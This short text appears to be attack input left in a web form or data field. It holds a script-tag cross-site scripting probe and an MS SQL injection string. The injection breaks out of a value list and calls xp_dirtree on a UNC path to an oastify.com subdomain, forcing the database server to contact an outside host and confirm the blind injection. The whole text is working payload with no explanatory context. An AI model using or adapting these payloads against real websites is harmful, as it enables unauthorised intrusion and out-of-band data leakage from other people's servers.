<script>alert('test');</script>

https://i.ss.com/img/main/transport.png', '1', '2', '3');declare @q varchar(99);set @q='\\1suiydpmwg44gks4c0lbtqkqmhsfg7iz6q5ex1zpo.oasti'+'fy.com\ylk'; exec master.dbo.xp_dirtree @q;--